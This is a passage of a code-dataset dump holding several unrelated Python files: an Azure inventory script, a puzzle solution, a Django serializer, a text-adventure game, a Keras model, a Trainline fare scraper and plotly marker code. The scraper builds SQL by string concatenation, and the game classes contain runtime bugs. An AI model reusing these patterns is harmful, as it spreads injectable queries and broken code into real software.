azure_client,\n\t\tsecret = azure_client_secret,\n\t\ttenant = azure_tenent_id\n\t)\n\treturn credentials\n\ncredentials = get_credentials()\nnetwork_client = NetworkManagementClient(credentials, subscription_id)\ncompute_client = ComputeManagementClient(credentials, subscription_id)\n\nget_azure_infra()\nget_azure_vms()\n","sub_path":"cloudatlas_azure.py","file_name":"cloudatlas_azure.py","file_ext":"py","file_size_in_byte":8812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"353873825","text":"from collections import deque\nimport sys\n\ndef read_int():\n    for line in sys.stdin:\n        for num in line.split():\n            yield int(num)\n\ndef bfs(matrix, n, m, nodes_of_2):\n    q = deque(nodes_of_2)\n    distances = [[0]*m for i in range(n)]\n    res = 0\n    while q:\n        (x, y) = q.popleft()\n        for (x2, y2) in ((x, y+1), (x, y-1), (x-1, y), (x+1, y)):\n            if 0 <= x2 < n and 0 <= y2 < m and matrix[x2][y2] == 1:\n                q.append((x2, y2))\n                matrix[x2][y2] = 2\n                distances[x2][y2] = distances[x][y] + 1\n                res = max(res, distances[x2][y2])\n    for i in range(n):\n        for node in matrix[i]:\n            if node == 1:\n                return -1\n    return res\n\ngen = read_int()\nn, m = next(gen), next(gen)\nmatrix = [[next(gen) for j in range(m)] for i in range(n)]\nnodes_of_2 = []\nfor i in range(n):\n    for j in range(m):\n        if matrix[i][j] == 2:\n            nodes_of_2.append((i, j))\nprint(bfs(matrix, n, m, nodes_of_2))\n\n\n\n","sub_path":"hackerearth/Travel diaries.py","file_name":"Travel diaries.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"634645635","text":"import logging\n\nfrom rest_framework import serializers\n\nfrom helium.planner.models import Material\n\n__author__ = 'Alex Laird'\n__copyright__ = 'Copyright 2018, Helium Edu'\n__version__ = '1.0.0'\n\nlogger = logging.getLogger(__name__)\n\n\nclass MaterialSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Material\n        fields = (\n            'id', 'title', 'status', 'condition', 'website', 'price', 'details', 'material_group',\n            'courses')\n","sub_path":"helium/planner/serializers/materialserializer.py","file_name":"materialserializer.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"8680258","text":"# classes.py\n\n\"\"\"\n\n    classes and instances for dungeon_escape\n\n    TODO: CHANGE CHARACTER LIST ELEMENTS FROM STRINGS TO OBJECTS\n\n\"\"\"\n\nfrom functions import *\nfrom settings import *\nfrom rooms import rooms\n\n# world class\n\nclass World(object):\n    \n    def create(self):\n        # loop through all the rooms and build their instances\n        # using the key as the self.<room name> and the value for the object instance\n        for k, v in rooms:\n            setattr(self, k, Room(v))   \n        # items\n        self.sword = Nondestroyable(\"A cool thing\", 50)\n\n\n\n\n# top level classes\n\nclass Character(object):\n    # has Battleable subclass\n    # has Nonbattleable subclass\n    def __init__(self,\n                 description,\n                 inventory,\n                 balance,\n                 room\n                 ):\n        self.description = description\n        self.inventory = inventory\n        self.balance = balance\n        self.room = room\n\n    def get_description(self):\n        return self.description\n\n    # item stuff\n    def get_item(self, item):\n        self.inventory.append(item)\n\n    def drop_item(self, item):\n        if item.lower() in self.inventory:\n            self.inventory.remove(item)\n            self.room.inventory.append(item)\n\n    def give_item(self, item, receiver):\n        if item.lower() in self.inventory:\n            self.inventory.remove(item)\n            receiver.inventory.append(item)\n\n\nclass Item(object):\n    # has Pickuppable subclass\n    # has Nonpickuppable subclass\n    def __init__(self,\n                 description\n                 ):\n        self.description = description\n\n    def get_description(self):\n        return self.description\n\nclass Room(object):\n    # only has instances\n    # --actions--\n    #   describe scene\n    #   activate battle?\n    def __init__(self,\n                 description,\n                 inventory,\n                 characters,\n                 x_val,\n                 y_val,\n                 exit_val,\n                 map_val\n                 ):\n        self.description = description\n        self.inventory = inventory\n        self.characters = characters\n        self.x_val = x_val\n        self.y_val = y_val\n        self.exit_val = exit_val\n        self.map_val = map_val\n\n    def get_description(self):\n        return self.description\n\n\n\n# second level classes\n\n\n\nclass Battleable(Character):\n    # has Player subclass\n    # has Enemy instances\n    #   -Goblin\n    #   -Guard\n    #   -Boss\n    def __init__(self,\n                 description,\n                 inventory,\n                 balance,\n                 room,\n                 hp,\n                 alive_status,\n                 attack,\n                 speed,\n                 evasion\n                 ):\n        self.description = description\n        self.inventory = inventory\n        self.balance = balance\n        self.room = room\n        self.hp = 100\n        self.alive_status = true\n        self.attack = attack\n        self.speed = speed\n        self.evasion = evasion\n\n    # die or come back to life\n    def dies(self):\n        self.alive_status = false\n\n    def revives(self):\n        self.alive_status = true\n\n    def is_alive(self):\n        return self.alive_status == true\n\n    def hp_change(self, variance):\n        self.hp += variance\n        if self.hp <= 0:\n            self.hp = 0\n            self.alive_status = false\n        elif self.hp > 100:\n            self.hp = 100\n\nclass Pickuppable(Item):\n    # has two subclasses\n    #   -disposable\n    #   -nondisposable\n    def __init__(self,\n                 description, # from Item\n                 value,\n                 ):\n        self.value = value\n        self.pickup_status = True\n\n    def get_value(self):\n        return self.value\n\n# bottom level\nclass Nonbattleable(Character):\n    # has NPC instances\n    #   -Skeleton\n    #   -Prisoner\n    #   -Drunk_Guard\n    def __init__(self,\n                 description,\n                 inventory,\n                 balance,\n                 room,\n                 dialogue\n                 ):\n        self.description = description\n        self.inventory = inventory\n        self.balance = balance\n        self.room = room\n        self.dialogue = dialogue\n\n# bottom level\nclass Nonpickuppable(Item):\n    # has several instances\n    def __init__(self,\n                 description\n                 ):\n        self.pickup_status = False\n\n\n\n\n# third level classes\n\n\n\nclass Player(Battleable):\n    def __init__(self):\n        # check here for player attributes\n        self.description = \"\"\n        self.inventory = []\n        self.balance = 0\n        self.room = room_21\n        self.hp = 100\n        self.alive_status = True\n        self.attack = 0\n        self.evasion = 0\n        self.speed = 0\n        self.name = \"\"\n        self.clan_name = \"\"\n        self.age = 1\n        self.race = \"\"\n        self.battle_ready_status = False\n        self.sword_status = False\n        self.slippers_status = False\n        # switch the following to 'true' to activate win\n        self.victory = False\n\n    # edits self.name\n    # USAGE: just call Player.method(), does not return anything\n    def get_name(self):\n        # USAGE: player.name = player.get_name()\n        # asks for input immediately\n        self.name = str(input(\"> \"))\n        self.name = (self.name).title()\n        while any(i.isdigit() for i in self.name):\n            print(\"\\n\\\"That can't be right...\\nWhat's my name again?\\\"\")\n            return(self.get_name())\n        while not (ask_ok((\"\\n\\\"'\" + self.name + \"'... was that it?\\\"\"))):\n            print(\"\\n\\\"Well shoot, what's my name again?\\\"\")\n            return(self.get_name())\n\n    # adjusting stats\n    # USAGE: just call Player.method(), does not return anything\n    def change_attack(self, adjustment):\n        self.attack += int(adjustment)\n    def change_evasion(self, adjustment):\n        self.evasion += int(adjustment)\n    def change_speed(self, adjustment):\n        self.speed += int(adjustment)\n\n    def get_stats(self):\n    \n        # USAGE:\n        # stat_list = []\n        # for i in get_stats(player_object):\n        #     stat_list.append(i)\n        #\n        # >> stat_list == [x, y, z]\n\n        # TODO: consider, instead of creating a stat_list[] outside of the class,\n        #       assigning the three random numbers to the actual Player.stats,\n        #       and in decide_stats() just calling the stats to display the\n        #       numbers to the user  and then overwriting them. This will cut\n        #       down on memory\n        \n        x = random.randint(1, 10)\n        y = random.randint(1, 10)\n        z = random.randint(1, 10)\n        # this part makes sure the average stat pull is at least 15\n        if (x + y + z) < 15:\n            if x == min(x, y, z):\n                x += 15 - (x + y + z)\n            elif y == min(x, y, z):\n                y += 15 - (x + y + z)\n            elif z == min(x, y, z):\n                z += 15 - (x + y + z)\n        sorted_stats = [x, y, z]\n        sorted_stats = sorted(sorted_stats)\n        return (sorted_stats[0], sorted_stats[1], sorted_stats[2])\n\n    def decide_stats(self, sorted_stats):\n        # sorted_stats must be a list of 3 integer values generated by get_stats()\n        # race must be decided for racial bonus to work\n        val_lst = [str(sorted_stats[-1]), str(sorted_stats[-2]), str(sorted_stats[-3])]\n        stat_list = [\"attack\", \"evasion\", \"speed\"]\n        counter = 0\n        while len(stat_list) > 0:\n            print(\"\\nYour stat choices are:\")\n            if \"attack\" in stat_list:\n                print(\"ATTACK\")\n            if \"evasion\" in stat_list:\n                print(\"EVASION\")\n            if \"speed\" in stat_list:\n                print(\"SPEED\")\n            stat_choice = input(\"\\nIn which stat would you like to put \" + \\\n                val_lst[counter] + \"?\\n\")\n            stat_choice = stat_choice.lower()\n            if \"reroll\" in stat_choice:\n                counter = 0\n                return decide_stats(sorted_stats)\n            if \"sp\" in stat_choice and \"speed\" in stat_list:\n                self.speed = int(val_lst[counter - 1])\n                stat_list.remove(\"speed\")\n                counter += 1\n            elif \"sp\" in stat_choice and \"speed\" not in stat_list:\n                print(\"\\nSorry, you've already decided your SPEED.\")\n            if \"eva\" in stat_choice and \"evasion\" in stat_list:\n                self.evasion = int(val_lst[counter - 1])\n                stat_list.remove(\"evasion\")\n                counter += 1\n            elif \"eva\" in stat_choice and \"evasion\" not in stat_list:\n                print(\"\\nSorry, you've already decided your EVASION.\")\n            if \"at\" in stat_choice and \"attack\" in stat_list:\n                self.attack = int(val_lst[counter - 1])\n                stat_list.remove(\"attack\")\n                counter += 1\n            elif \"at\" in stat_choice and \"attack\" not in stat_list:\n                print(\"\\nSorry, you've already decided your ATTACK.\")\n\n        # apply race bonus\n        for race_index in range(len(race_list)): # race_list is in settings.py\n            if self.race == race_list[race_index]:\n                # stat_bonus_list is in settings.py\n                self.change_attack(stat_bonus_list[race_index][0])\n                self.change_evasion(stat_bonus_list[race_index][1])\n                self.change_speed(stat_bonus_list[race_index][2])\n        \n        print(divide + \"\\nYour stats are as follows:\\nSPEED: \" + str(self.speed) + \\\n            \"\\nEVASION: \" + str(self.evasion) + \"\\nATTACK: \" + str(self.attack))\n\n    def decide_race(self):\n        # USAGE: player.race = player.decide_race()\n        # immediately asks for input and checks if it's a valid response\n        race = str(input(\"> \"))\n        while race.lower() not in race_list:\n            print(\"\\n\\\"\" + race.title() + \"\\\" is not an option.\\nYour choices are:\\n\")\n            for i in range(8):\n                print(races[i].title())\n            race = input(\"\\n> \")\n        return race\n\n    def decide_description(self):\n        # USAGE: player.description = player.decide_description()\n        # immediately asks for input\n        description = input(\"'Haha! According to my reflection, I look rather...\\n\")\n        while ((any(i.isdigit() for i in description)) or description.isspace()):\n            description = input(\"...No, I think I look kind of... \")\n        return description.lower()\n\n    def create_clan_name(self):\n        # USAGE: player.clan_name = player.create_clan_name()\n        return self.name + \" the \" + (self.description).title()\n\n    def print_inv(self):\n        for i in self.inventory:\n            print(i + \"\\n\")\n\n\n\nclass Destroyable(Pickuppable):\n    # has two instances\n    #   -apple (20 HP)\n    #   -flask (Max HP)\n    def __init__(self,\n                 description,\n                 value,\n                 health_value\n                 ):\n        self.pickup_status = True\n        self.destroy_status = True\n        self.health_value = health_value\n\nclass Nondestroyable(Pickuppable):\n    # has several instances\n    def __init__(self,\n                 description,\n                 value\n                 ):\n        self.pickup_status = True\n        self.destroy_status = False\n\n","sub_path":"dungeon_escape_application/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":11267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"49774931","text":"#!/usr/bin/python3.7\n# -*- coding: utf-8 -*-\n\nimport pandas as pd\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nfrom tensorflow import keras\n\nfrom src import test, load_data, utilities\n\n\ndef training():\n    matrix = pd.merge(load_data.load_user_feature(), load_data.load_user_labels(), on=['user_id'])\n    train_labels = matrix['label'].values\n    train_data = matrix.drop(['user_id', 'label'], axis=1).values\n\n    model = keras.Sequential([\n        keras.layers.Dense(64, activation=tf.nn.relu, input_shape=(train_data.shape[1],)),\n        # keras.layers.Dropout(0.5),\n        # keras.layers.Dense(512, activation=tf.nn.relu, kernel_regularizer=keras.regularizers.l2(0.001)),\n        # keras.layers.Dropout(0.5),\n        keras.layers.Dense(1, activation=tf.nn.sigmoid)\n    ])\n    model.compile(optimizer=tf.train.AdamOptimizer(),\n                  loss='binary_crossentropy',\n                  metrics=['accuracy', 'binary_crossentropy'])\n    process = model.fit(train_data, train_labels, epochs=10, validation_split=0.1, shuffle=True,\n                        callbacks=[utilities.save_checkpoint('../result/chekpoint')])\n    print_history(process)\n    model.save('../result/model.h5')\n\n\ndef predict():\n    test = load_data.load_test_feture()\n    model = keras.models.load_model('../result/model.h5')\n    result = model.predict(test.drop(['user_id'], axis=1).values)\n    df = pd.DataFrame(data=result,\n                      columns=['labels'])\n    df['user_id'] = test['user_id']\n    df = df[['user_id', 'labels']]\n    df.to_csv('../result/result', header=False, index=False)\n\n\ndef print_history(history):\n    acc = history.history['acc']\n    val_acc = history.history['val_acc']\n    loss = history.history['loss']\n    val_loss = history.history['val_loss']\n\n    epochs = range(1, len(acc) + 1)\n    plt.plot(epochs, loss, 'bo', label='Training Loss')\n    plt.plot(epochs, val_loss, 'b', label='Validation Loss')\n    plt.title('Training and validation loss')\n    plt.xlabel('Epoch times')\n    plt.ylabel('Loss')\n    plt.legend()\n    plt.savefig('../result/loss.png')\n\n    plt.clf()\n    plt.plot(epochs, acc, 'bo', label='Training Acc')\n    plt.plot(epochs, val_acc, 'b', label='Validation Acc')\n    plt.title('Training and validation accuracy')\n    plt.xlabel('Epoch times')\n    plt.ylabel('Accuracy')\n    plt.legend()\n    plt.savefig('../result/acc.png')\n\n\nif __name__ == '__main__':\n    training()\n    predict()\n","sub_path":"src/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"79189107","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import TimeoutException, WebDriverException, StaleElementReferenceException\nfrom urllib3.exceptions import MaxRetryError\nimport requests\nfrom bs4 import BeautifulSoup\nimport time\nfrom datetime import datetime, timedelta\nfrom multiprocessing.pool import ThreadPool\nimport sys\nsys.path.append('../database')\nfrom db_utils import create_connection\n\n\nbase_url = 'https://www.thetrainline.com/book/results?origin=_ORIG_&destination=_DEST_&outwardDate=_DATE_T10%3A00%3A00&outwardDateType=departAfter&journeySearchType=single&passengers%5B%5D=1993-03-12%7C39e086e7-d9a3-4b99-83c8-13398ea86824&selectedOutward=e4%2BA34QkjGc%3D%3AnXL1onjhxgY%3D%3AStandard'\n\noptions = webdriver.ChromeOptions()\noptions.add_argument('headless')\noptions.add_argument('log-level=3')\n\n#Fetch trainline id using the city id we store in our db\ndef fetchID(sql_id):\n    conn = create_connection('./database/wanderweg.db')\n    cur = conn.cursor()\n    sql = \"SELECT trainline_id FROM cities WHERE id = '\" + sql_id + \"'\"\n    cur.execute(sql)\n    data = cur.fetchone()\n\n    trainline_id = data[0]\n    if trainline_id == '0' or trainline_id == 'ID not found':\n        trainline_id = None\n    return trainline_id\n\ndef elementLoads(driver, by, val, secs=3):\n    try:\n        WebDriverWait(driver, secs).until(EC.presence_of_element_located((by, val)))\n        print(\"Element loaded\")\n        return True\n    except TimeoutException:\n        print(\"Element doesn't load\")\n        return False\n\ndef elementClickable(driver, by, val, secs=3):\n    try:\n        WebDriverWait(driver, secs).until(EC.element_to_be_clickable((by, val)))\n        print(\"Element clickable\")\n        return True\n    except TimeoutException:\n        print(\"Element not clickable\")\n        return False\n\ndef scrapeRows(soup, trip_type='train'):\n    route_options = []\n    rows = soup.find_all('div', class_='_dbqts5')\n    for row in rows:\n        opt = {}\n        spans = row.find_all('span')\n        for i, span in enumerate(spans):\n            if i == 0: opt['departure_time'] = span.text\n            if i == 1 : opt['arrival_time'] = span.text\n            if i == 4: opt['num_changes'] = span.text\n            if i == 7: opt['price'] = span.text\n\n        if 'price' in opt and '$' in opt['price']:\n            opt['price'] = opt['price'].replace('$','')\n            opt['type'] = trip_type \n            duration = (datetime.strptime(opt['arrival_time'], '%H:%M') - datetime.strptime(opt['departure_time'], '%H:%M')).total_seconds()/60\n            if duration < 0: duration += 60 * 24\n            opt['duration'] = duration\n            route_options.append(opt)\n        \n    return route_options\n\ndef scrapeTrains(origin, destination, date='2019-04-10'):\n    #Define trip options\n    trip_opts = {}\n    trip_opts['meta'] = {'orig_id':origin, 'dest_id':destination, 'date':date}\n    trip_opts['trip_info'] = [[], [], []]\n\n    orig_id = fetchID(origin)\n    dest_id = fetchID(destination)\n    if not orig_id or not dest_id:\n        print(\"ID not found for one or more cities\")\n        trip_opts['meta']['mssg'] = 'ID not found for one or more cities'\n        return trip_opts\n\n    url = base_url.replace('_ORIG_', orig_id).replace('_DEST_', dest_id).replace('_DATE_', date)\n    trip_opts['meta']['url'] = url\n\n    driver = webdriver.Chrome(chrome_options=options)\n    driver.get(url)\n\n    #Wait for page to load\n    if not elementLoads(driver, By.CLASS_NAME, '_1i7lx6zm', 5):\n        driver.close()\n        driver.quit()\n        trip_opts['meta']['mssg'] = \"Couldn't load page\"\n        return trip_opts\n\n    #Scrape train info\n    html = driver.page_source\n    soup = BeautifulSoup(html, 'html5lib')\n    route_options = scrapeRows(soup)\n\n    #Scrape bus info\n    if elementClickable(driver, By.CLASS_NAME, '_17dn4adNaN'):\n        bus_button = driver.find_element_by_class_name('_17dn4adNaN')\n        try:\n            bus_button.click()\n            html = driver.page_source\n            soup = BeautifulSoup(html, 'html5lib')\n            route_options += scrapeRows(soup, 'bus')\n        except WebDriverException:\n            print('Error scraping bus info')\n\n    driver.close()\n    driver.quit()\n\n    cheapest, fastest, bus = formatOptions(route_options)\n    trip_opts['meta']['mssg'] = \"Trips found\"\n    trip_opts['trip_info'] = [bus, cheapest, fastest]\n\n    return trip_opts\n\ndef scrapeHelper(input_tuple):\n    origin, destination, date = input_tuple\n    test = scrapeTrains(origin, destination, date)\n    return test\n\n#Sort options by a few metrics\ndef formatOptions(trip_options, n=3):\n    train_options = [opt for opt in trip_options if opt['type'] == 'train']\n    cost_sort = sorted(train_options, key=lambda x: (-float(x['price'])), reverse=True)\n    time_sort = sorted(train_options, key=lambda x: x['duration'])\n    bus_options = [opt for opt in trip_options if opt['type'] == 'bus']\n    bus_options = sorted(bus_options, key=lambda x: (-float(x['price'])), reverse=True)\n\n    return (cost_sort[:n], time_sort[:n], bus_options[:n])\n\n#Take a list of city_ids and dates and use a threadpool to scrape info for each trip\ndef scrapeList(trip_list, num_threads=8):\n    pool = ThreadPool(num_threads)\n    results = pool.map(scrapeHelper, trip_list)\n    pool.close()\n    pool.join()\n    print(results)\n    return results\n","sub_path":"app/trains.py","file_name":"trains.py","file_ext":"py","file_size_in_byte":5529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"366649128","text":"from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType\nimport copy as _copy\n\n\nclass Marker(_BaseTraceHierarchyType):\n\n    # class properties\n    # --------------------\n    _parent_path_str = \"box\"\n    _path_str = \"box.marker\"\n    _valid_props = {\n        \"angle\",\n        \"color\",\n        \"line\",\n        \"opacity\",\n        \"outliercolor\",\n        \"size\",\n        \"symbol\",\n    }\n\n    # angle\n    # -----\n    @property\n    def angle(self):\n        \"\"\"\n        Sets the marker angle in respect to `angleref`.\n\n        The 'angle' property is a angle (in degrees) that may be\n        specified as a number between -180 and 180.\n        Numeric values outside this range are converted to the equivalent value\n        (e.g. 270 is converted to -90).\n\n        Returns\n        -------\n        int|float\n        \"\"\"\n        return self[\"angle\"]\n\n    @angle.setter\n    def angle(self, val):\n        self[\"angle\"] = val\n\n    # color\n    # -----\n    @property\n    def color(self):\n        \"\"\"\n        Sets the marker color. It accepts either a specific color or an\n        array of numbers that are mapped to the colorscale relative to\n        the max and min values of the array or relative to\n        `marker.cmin` and `marker.cmax` if set.\n\n        The 'color' property is a color and may be specified as:\n          - A hex string (e.g. '#ff0000')\n          - An rgb/rgba string (e.g. 'rgb(255,0,0)')\n          - An hsl/hsla string (e.g. 'hsl(0,100%,50%)')\n          - An hsv/hsva string (e.g. 'hsv(0,100%,100%)')\n          - A named CSS color:\n                aliceblue, antiquewhite, aqua, aquamarine, azure,\n                beige, bisque, black, blanchedalmond, blue,\n                blueviolet, brown, burlywood, cadetblue,\n                chartreuse, chocolate, coral, cornflowerblue,\n                cornsilk, crimson, cyan, darkblue, darkcyan,\n                darkgoldenrod, darkgray, darkgrey, darkgreen,\n                darkkhaki, darkmagenta, darkolivegreen, darkorange,\n                darkorchid, darkred, darksalmon, darkseagreen,\n                darkslateblue, darkslategray, darkslategrey,\n                darkturquoise, darkviolet, deeppink, deepskyblue,\n                dimgray, dimgrey, dodgerblue, firebrick,\n                floralwhite, forestgreen, fuchsia, gainsboro,\n                ghostwhite, gold, goldenrod, gray, grey, green,\n                greenyellow, honeydew, hotpink, indianred, indigo,\n                ivory, khaki, lavender, lavenderblush, lawngreen,\n                lemonchiffon, lightblue, lightcoral, lightcyan,\n                lightgoldenrodyellow, lightgray, lightgrey,\n                lightgreen, lightpink, lightsalmon, lightseagreen,\n                lightskyblue, lightslategray, lightslategrey,\n                lightsteelblue, lightyellow, lime, limegreen,\n                linen, magenta, maroon, mediumaquamarine,\n                mediumblue, mediumorchid, mediumpurple,\n                mediumseagreen, mediumslateblue, mediumspringgreen,\n                mediumturquoise, mediumvioletred, midnightblue,\n                mintcream, mistyrose, moccasin, navajowhite, navy,\n                oldlace, olive, olivedrab, orange, orangered,\n                orchid, palegoldenrod, palegreen, paleturquoise,\n                palevioletred, papayawhip, peachpuff, peru, pink,\n                plum, powderblue, purple, red, rosybrown,\n                royalblue, rebeccapurple, saddlebrown, salmon,\n                sandybrown, seagreen, seashell, sienna, silver,\n                skyblue, slateblue, slategray, slategrey, snow,\n                springgreen, steelblue, tan, teal, thistle, tomato,\n                turquoise, violet, wheat, white, whitesmoke,\n                yellow, yellowgreen\n\n        Returns\n        -------\n        str\n        \"\"\"\n        return self[\"color\"]\n\n    @color.setter\n    def color(self, val):\n        self[\"color\"] = val\n\n    # line\n    # ----\n    @property\n    def line(self):\n        \"\"\"\n        The 'line' property is an instance of Line\n        that may be specified as:\n          - An instance of :class:`plotly.graph_objs.box.marker.Line`\n          - A dict of string/value properties that will be passed\n            to the Line constructor\n\n            Supported dict properties:\n\n                color\n                    Sets the marker.line color. It accepts either a\n                    specific color or an array of numbers that are\n                    mapped to the colorscale relative to the max\n                    and min values of the array or relative to\n                    `marker.line.cmin` and `marker.line.cmax` if\n                    set.\n                outliercolor\n                    Sets the border line color of the outlier\n                    sample points. Defaults to marker.color\n                outlierwidth\n                    Sets the border line width (in px) of the\n                    outlier sample points.\n                width\n                    Sets the width (in px) of the lines bounding\n                    the marker points.\n\n        Returns\n        -------\n        plotly.graph_objs.box.marker.Line\n        \"\"\"\n        return self[\"line\"]\n\n    @line.setter\n    def line(self, val):\n        self[\"line\"] = val\n\n    # opacity\n    # -------\n    @property\n    def opacity(self):\n        \"\"\"\n        Sets the marker opacity.\n\n        The 'opacity' property is a number and may be specified as:\n          - An int or float in the interval [0, 1]\n\n        Returns\n        -------\n        int|float\n        \"\"\"\n        return self[\"opacity\"]\n\n    @opacity.setter\n    def opacity(self, val):\n        self[\"opacity\"] = val\n\n    # outliercolor\n    # ------------\n    @property\n    def outliercolor(self):\n        \"\"\"\n        Sets the color of the outlier sample points.\n\n        The 'outliercolor' property is a color and may be specified as:\n          - A hex string (e.g. '#ff0000')\n          - An rgb/rgba string (e.g. 'rgb(255,0,0)')\n          - An hsl/hsla string (e.g. 'hsl(0,100%,50%)')\n          - An hsv/hsva string (e.g. 'hsv(0,100%,100%)')\n          - A named CSS color:\n                aliceblue, antiquewhite, aqua, aquamarine, azure,\n                beige, bisque, black, blanchedalmond, blue,\n                blueviolet, brown, burlywood, cadetblue,\n                chartreuse, chocolate, coral, cornflowerblue,\n                cornsilk, crimson, cyan, darkblue, darkcyan,\n                darkgoldenrod, darkgray, darkgrey, darkgreen,\n                darkkhaki, darkmagenta, darkolivegreen, darkorange,\n                darkorchid, darkred, darksalmon, darkseagreen,\n                darkslateblue, darkslategray, darkslategrey,\n                darkturquoise, darkviolet, deeppink, deepskyblue,\n                dimgray, dimgrey, dodgerblue, firebrick,\n                floralwhite, forestgreen, fuchsia, gainsboro,\n                ghostwhite, gold, goldenrod, gray, grey, green,\n                greenyellow, honeydew, hotpink, indianred, indigo,\n                ivory, khaki, lavender, lavenderblush, lawngreen,\n                lemonchiffon, lightblue, lightcoral, lightcyan,\n                lightgoldenrodyellow, lightgray, lightgrey,\n                lightgreen, lightpink, lightsalmon, lightseagreen,\n                lightskyblue, lightslategray, lightslategrey,\n                lightsteelblue, lightyellow, lime, limegreen,\n                linen, magenta, maroon, mediumaquamarine,\n                mediumblue, mediumorchid, mediumpurple,\n                mediumseagreen, mediumslateblue, mediumspringgreen,\n                mediumturquoise, mediumvioletred, midnightblue,\n                mintcream, mistyrose, moccasin, navajowhite, navy,\n                oldlace, olive, olivedrab, orange, orangered,\n                orchid, palegoldenrod, palegreen, paleturquoise,\n                palevioletred, papayawhip, peachpuff, peru, pink,\n                plum, powderblue, purple, red, rosybrown,\n                royalblue, rebeccapurple, saddlebrown, salmon,\n                sandybrown, seagreen, seashell, sienna, silver,\n                skyblue, slateblue, slategray, slategrey, snow,\n                springgreen, steelblue, tan, teal, thistle, tomato,\n                turquoise, violet, wheat, white, whitesmoke,\n                yellow, yellowgreen\n\n        Returns\n        -------\n        str\n        \"\"\"\n        return self[\"outliercolor\"]\n\n    @outliercolor.setter\n    def outliercolor(self, val):\n        self[\"outliercolor\"] = val\n\n    # size\n    # ----\n    @property\n    def size(self):\n        \"\"\"\n        Sets the marker size (in px).\n\n        The 'size' property is a number and may be specified as:\n          - An int or float in the interval [0, inf]\n\n        Returns\n        -------\n        int|float\n        \"\"\"\n        return self[\"size\"]\n\n    @size.setter\n    def size(self, val):\n        self[\"size\"] = val\n\n    # symbol\n    # ------\n    @property\n    def symbol(self):\n        \"\"\"\n        Sets the marker symbol type. Adding 100 is equivalent to\n        appending \"-open\" to a symbol name. Adding 200 is equivalent to\n        appending \"-dot\" to a symbol name. Adding 300 is equivalent to\n        appending \"-open-dot\" or \"dot-open\" to a symbol name.\n\n        The 'symbol' property is an enumeration that may be specified as:\n          - One of the following enumeration values:\n                [0, '0', 'circle', 100, '100', 'circle-open', 200, '200',\n                'circle-dot', 300, '300', 'circle-open-dot', 1, '1',\n                'square', 101, '101', 'square-open', 201, '201',\n                'square-dot', 301, '301', 'square-open-dot', 2, '2',\n                'diamond', 102, '102', 'diamond-open', 202, '202',\n                'diamond-dot', 302, '302', 'diamond-open-dot', 3, '3',\n                'cross', 103, '103', 'cross-open', 203, '203',\n                'cross-dot', 303, '303', 'cross-open-dot', 4, '4', 'x',\n                104, '104', 'x-open', 204, '204', 'x-dot', 304, '304',\n                'x-open-dot', 5, '5', 'triangle-up', 105, '105',\n                'triangle-up-open', 205, '205', 'triangle-up-dot', 305,\n                '305', 'triangle-up-open-dot', 6, '6', 'triangle-down',\n                106, '106', 'triangle-down-open', 206, '206',\n                'triangle-down-dot', 306, '306', 'triangle-down-open-dot',\n                7, '7', 'triangle-left', 107, '107', 'triangle-left-open',\n                207, '207', 'triangle-left-dot', 307, '307',\n                'triangle-left-open-dot', 8, '8', 'triangle-right', 108,\n                '108', 'triangle-right-open', 208, '208',\n                'triangle-right-dot', 308, '308',\n                'triangle-right-open-dot', 9, '9', 'triangle-ne', 109,\n                '109', 'triangle-ne-open', 209, '209', 'triangle-ne-dot',\n                309, '309', 'triangle-ne-open-dot', 10, '10',\n                'triangle-se', 110, '110', 'triangle-se-open', 210, '210',\n                'triangle-se-dot', 310, '310', 'triangle-se-open-dot', 11,\n                '11', 'triangle-sw', 111, '111', 'triangle-sw-open', 211,\n                '211', 'triangle-sw-dot', 311, '311',\n                'triangle-sw-open-dot', 12, '12', 'triangle-nw', 112,\n                '112', 'triangle-nw-open', 212, '212', 'triangle-nw-dot',\n                312, '312', 'triangle-nw-open-dot', 13, '13', 'pentagon',\n                113, '113', 'pentagon-open', 213, '213', 'pentagon-dot',\n                313, '313', 'pentagon-open-dot', 14, '14', 'hexagon', 114,\n                '114', 'hexagon-open', 214, '214', 'hexagon-dot', 314,\n                '314', 'hexagon-open-dot', 15, '15', 'hexagon2', 115,\n                '115', 'hexagon2-open', 215, '215', 'hexagon2-dot', 315,\n                '315', 'hexagon2-open-dot', 16, '16', 'octagon', 116,\n                '116', 'octagon-open', 216, '216', 'octagon-dot', 316,\n                '316', 'octagon-open-dot', 17, '17', 'star', 117, '117',\n                'star-open', 217, '217', 'star-dot', 317, '317',\n                'star-open-dot', 18, '18', 'hexagram', 118, '118',\n                'hexagram-open', 218, '218', 'hexagram-dot', 318, '318',\n                'hexagram-open-dot', 19, '19', 'star-triangle-up', 119,\n                '119', 'star-triangle-up-open', 219, '219',\n                'star-triangle-up-dot', 319, '319',\n                'star-triangle-up-open-dot', 20, '20',\n                'star-triangle-down', 120, '120',\n                'star-triangle-down-open', 220, '220',\n                'star-triangle-down-dot', 320, '320',\n                'star-triangle-down-open-dot', 21, '21', 'star-square',\n                121, '121', 'star-square-open', 221, '221',\n                'star-square-dot', 321, '321', 'star-square-open-dot', 22,\n                '22', 'star-diamond', 122, '122', 'star-diamond-open',\n                222, '222', 'star-diamond-dot', 322, '322',\n                'star-diamond-open-dot', 23, '23', 'diamond-tall', 123,\n                '123', 'diamond-tall-open', 223, '223',\n                'diamond-tall-dot', 323, '323', 